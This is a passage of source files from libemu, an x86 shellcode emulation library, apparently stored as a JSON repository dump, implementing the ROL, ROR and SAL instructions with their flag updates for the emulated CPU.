\n\t */\n\tUNIMPLEMENTED(c, NNY);\n\treturn -1;\n}\n\nint32_t instr_ret_cb(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{ \n\t/* CB\n\t * Far return to calling procedure\n\t * RET\n\t */\n\tUNIMPLEMENTED(c, NNY);\n\treturn -1;\n}\n\n"
  },
  {
    "path": "src/functions/rol.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b, cpu) \\\nUINTOF(bits) operation_result = (a); \\\nuint8_t operand_b = (b); \\\n{ \\\n\toperand_b %= sizeof(operation_result) * 8; \\\n\toperation_result = operation_result << operand_b | operation_result >> (bits - operand_b); \\\n\tif( operation_result & 1 ) \\\n\t{ \\\n\t\tCPU_FLAG_SET(cpu, f_cf); \\\n\t} \\\n\tif( operand_b == 1 ) \\\n\t{ \\\n\t\tif( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_SET(cpu, f_of); \\\n\t\t} \\\n\t\telse \\\n\t\t{ \\\n\t\t\tCPU_FLAG_UNSET(cpu, f_of); \\\n\t\t} \\\n\t} \\\n\ta = operation_result; \\\n}\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b, cpu) \\\nINSTR_SET_FLAG_ZF(cpu) \\\nINSTR_SET_FLAG_PF(cpu) \\\nINSTR_SET_FLAG_SF(cpu)\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/\n\n         \n\nint32_t instr_group_2_c0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\n\t\t/* C0 /0 ib \n\t\t * Rotate eight bits r/m8 left imm8 times\n\t\t * ROL r/m8,imm8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* C0 /0 ib \n\t\t * Rotate eight bits r/m8 left imm8 times\n\t\t * ROL r/m8,imm8  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_c1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* C1 /0 ib \n\t\t\t * Rotate 16 bits r/m16 left imm8 times\n\t\t\t * ROL r/m16,imm8 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* C1 /0 ib \n\t\t\t * Rotate 32 bits r/m32 left imm8 times\n\t\t\t * ROL r/m32,imm8 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /0 ib \n\t\t\t * Rotate 16 bits r/m16 left imm8 times\n\t\t\t * ROL r/m16,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* C1 /0 ib \n\t\t\t * Rotate 32 bits r/m32 left imm8 times\n\t\t\t * ROL r/m32,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D0 /0\t \n\t\t * Rotate eight bits r/m8 left once                        \n\t\t * ROL r/m8,1     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t 1);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D0 /0\t \n\t\t * Rotate eight bits r/m8 left once                        \n\t\t * ROL r/m8,1     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t 1);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /0\t \n\t\t\t * Rotate 16 bits r/m16 left once                      \n\t\t\t * ROL r/m16,1    \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /0\t \n\t\t\t * Rotate 32 bits r/m32 left once         \n\t\t\t * ROL r/m32,1    \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t 1);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /0\t \n\t\t\t * Rotate 16 bits r/m16 left once                      \n\t\t\t * ROL r/m16,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /0\t \n\t\t\t * Rotate 32 bits r/m32 left once         \n\t\t\t * ROL r/m32,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d2_rol(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D2 /0    \n\t\t * Rotate eight bits r/m8 left CL times                    \n\t\t * ROL r/m8,CL    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D2 /0    \n\t\t * Rotate eight bits r/m8 left CL times                    \n\t\t * ROL r/m8,CL    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_2_d3_rol(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /0    \n\t\t\t * Rotate 16 bits r/m16 left CL times                  \n\t\t\t * ROL r/m16,CL   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /0    \n\t\t\t * Rotate 32 bits r/m32 left CL times     \n\t\t\t * ROL r/m32,CL   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /0    \n\t\t\t * Rotate 16 bits r/m16 left CL times                  \n\t\t\t * ROL r/m16,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /0    \n\t\t\t * Rotate 32 bits r/m32 left CL times     \n\t\t\t * ROL r/m32,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t}\n\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/ror.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b, cpu) \\\nUINTOF(bits) operation_result = (a); \\\nuint8_t operand_b = (b); \\\n{ \\\n\toperand_b %= sizeof(operation_result) * 8; \\\n\toperation_result = operation_result >> operand_b | operation_result << (bits - operand_b); \\\n\tif( operation_result & (1 << (bits - 1)) ) \\\n\t{ \\\n\t\tCPU_FLAG_SET(cpu, f_cf); \\\n\t} \\\n\tif( operand_b == 1 ) \\\n\t{ \\\n\t\tif( (operation_result >> (bits - 1)) ^ ((operation_result >> (bits - 2)) & 1) ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_SET(cpu, f_of); \\\n\t\t} \\\n\t\telse \\\n\t\t{ \\\n\t\t\tCPU_FLAG_UNSET(cpu, f_of); \\\n\t\t} \\\n\t} \\\n\ta = operation_result; \\\n}\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b, cpu) \\\nINSTR_SET_FLAG_ZF(cpu) \\\nINSTR_SET_FLAG_PF(cpu) \\\nINSTR_SET_FLAG_SF(cpu)\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/\n\n\nint32_t instr_group_2_c0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* C0 /1 ib \n\t\t * Rotate eight bits r/m16 right imm8 times\n\t\t * ROR r/m8,imm8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* C0 /1 ib \n\t\t * Rotate eight bits r/m16 right imm8 times\n\t\t * ROR r/m8,imm8  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_c1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /1 ib \n\t\t\t * Rotate 16 bits r/m16 right imm8 times\n\t\t\t * ROR r/m16,imm8 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /1 ib \n\t\t\t * Rotate 32 bits r/m32 right imm8 times\n\t\t\t * ROR r/m32,imm8 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /1 ib \n\t\t\t * Rotate 16 bits r/m16 right imm8 times\n\t\t\t * ROR r/m16,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /1 ib \n\t\t\t * Rotate 32 bits r/m32 right imm8 times\n\t\t\t * ROR r/m32,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_2_d0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D0 /1\t \n\t\t * Rotate eight bits r/m8 right once              \n\t\t * ROR r/m8,1     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t 1);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D0 /1\t \n\t\t * Rotate eight bits r/m8 right once              \n\t\t * ROR r/m8,1     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t 1);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /1\t \n\t\t\t * Rotate 16 bits r/m16 right once                 \n\t\t\t * ROR r/m16,1    \n\t\t\t */                                                                     \n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /1\t \n\t\t\t * Rotate 32 bits r/m32 right once                \n\t\t\t * ROR r/m32,1    \n\t\t\t */                                                                    \n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t 1);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /1\t \n\t\t\t * Rotate 16 bits r/m16 right once                 \n\t\t\t * ROR r/m16,1    \n\t\t\t */                                                                     \n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /1\t \n\t\t\t * Rotate 32 bits r/m32 right once                \n\t\t\t * ROR r/m32,1    \n\t\t\t */                                                                    \n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_2_d2_ror(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D2 /1    \n\t\t * Rotate eight bits r/m8 right CL times          \n\t\t * ROR r/m8,CL    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D2 /1    \n\t\t * Rotate eight bits r/m8 right CL times          \n\t\t * ROR r/m8,CL    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_2_d3_ror(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /1    \n\t\t\t * Rotate 16 bits r/m16 right CL times             \n\t\t\t * ROR r/m16,CL   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /1    \n\t\t\t * Rotate 32 bits r/m32 right CL times            \n\t\t\t * ROR r/m32,CL   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /1    \n\t\t\t * Rotate 16 bits r/m16 right CL times             \n\t\t\t * ROR r/m16,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /1    \n\t\t\t * Rotate 32 bits r/m32 right CL times            \n\t\t\t * ROR r/m32,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/sal.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b, cpu) \\\nUINTOF(bits) operation_result = (a); \\\nuint8_t operand_b = (b); \\\n{ \\\n\toperand_b &= 0x1f; \\\n\tif( operand_b > 0 ) \\\n\t{ \\\n\t\tif( operation_result & (1 << (bits - operand_b)) ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_SET(cpu, f_cf); \\\n\t\t} \\\n\t\toperation_result <<= operand_b; \\\n\t\tif( operand_b == 1 ) \\\n\t\t{ \\\n\t\t\tif( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \\\n\t\t\t{ \\\n\t\t\t\tCPU_FLAG_SET(cpu, f_of); \\\n\t\t\t} \\\n\t\t\telse \\\n\t\t\t{ \\\n\t\t\t\tCPU_FLAG_UNSET(cpu, f_of); \\\n\t\t\t} \\\n\t\t} \\\n\t\ta = operation_result; \\\n\t} \\\n}\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b, cpu) \\\nif (b > 0) \\\n{ \\\n\tINSTR_SET_FLAG_ZF(cpu) \\\n\tINSTR_SET_FLAG_PF(cpu) \\\n\tINSTR_SET_FLAG_SF(cpu) \\\n}\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 662*/\n\n\nint32_t instr_group_2_c0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\n\t\t/* C0 /4 ib \n\t\t * Multiply r/m8 by 2, imm8 times\n\t\t * SAL r/m8,imm8  \n\t\t */      \n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* C0 /4 ib \n\t\t * Multiply r/m8 by 2, imm8 times\n\t\t * SAL r/m8,imm8  \n\t\t */      \n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_c1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /4 ib \n\t\t\t * Multiply r/m16 by 2, imm8 times\n\t\t\t * SAL r/m16,imm8 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* C1 /4 ib \n\t\t\t * Multiply r/m32 by 2, imm8 times\n\t\t\t * SAL r/m32,imm8 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /4 ib 